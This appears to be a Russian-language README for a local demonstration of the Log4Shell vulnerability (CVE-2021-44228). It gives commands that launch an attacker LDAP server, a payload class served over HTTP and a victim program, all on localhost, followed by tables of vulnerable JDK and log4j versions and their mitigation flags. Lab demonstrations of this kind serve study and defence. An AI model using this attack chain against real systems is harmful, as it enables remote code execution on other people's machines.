phoswald/sample-ldap-exploitКраткая демонстрация CVE-2021-44228
Краткая демонстрация CVE-2021-44228
$ mvn clean verify
$ java \
-cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar
URL-адреса:
http://localhost:8080/http://localhost:8080/sample/payload/Payload.class$ java \
-cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
sample.victim.Victim
| Версия | Статус |
|---|---|
Oracle JDK 8u5 | уязвим |
OpenJDK 8u312 | Не уязвим (если не задано -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
IBM OpenJDK 8u312-b07 (OpenJ9) | Не уязвим (если не задано -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.7+10 | Не уязвим (если не задано -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.13+8 | Не уязвим (если не задано -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 16+36 | Не уязвим (если не задано -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17+35 | Не уязвим (если не задано -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17.0.1+12 | Не уязвим (если не задано -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
Если не уязвим, экземпляр javax.naming.Reference возвращается из javax.naming.Context.lookup().
Если не уязвим к загрузке классов из удалённых баз кода, другие уязвимости десериализации Java, вероятно, всё ещё существуют!
| Версия | Статус |
|---|---|
2.9.1 | уязвим |
2.10.0 | уязвим (если не задано -Dlog4j2.formatMsgNoLookups=true или переменная окружения LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.14.1 | уязвим (если не задано -Dlog4j2.formatMsgNoLookups=true или переменная окружения LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.15.0 | Не уязвим |
Если не уязвим, ${jndi:ldap:...} не разрешается.